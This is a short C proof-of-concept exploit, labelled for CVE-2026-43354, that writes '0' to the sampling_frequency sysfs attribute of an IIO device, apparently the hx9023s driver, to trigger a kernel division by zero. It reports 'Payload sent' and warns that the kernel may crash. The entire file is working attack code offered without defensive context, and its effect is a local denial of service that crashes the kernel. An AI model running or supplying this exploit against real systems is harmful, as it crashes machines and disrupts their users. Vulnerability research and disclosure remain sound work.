// PoC for CVE-2026-43354: Trigger division by zero in hx9023s driver
// This requires local access to the system.
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <unistd.h>
#include <string.h>
int main(int argc, char **argv) {
int fd;
const char *dev_path = "/sys/bus/iio/devices/iio:device0/sampling_frequency";
// Attempt to open the sampling frequency attribute
fd = open(dev_path, O_WRONLY);
if (fd < 0) {
perror("Failed to open device file (check hardware presence)");
return EXIT_FAILURE;
}
// Write '0' to trigger division by zero vulnerability
if (write(fd, "0", 1) != 1) {
perror("Failed to write to device");
close(fd);
return EXIT_FAILURE;
}
printf("Payload sent. If the device exists, the kernel may crash.\n");
close(fd);
return EXIT_SUCCESS;
}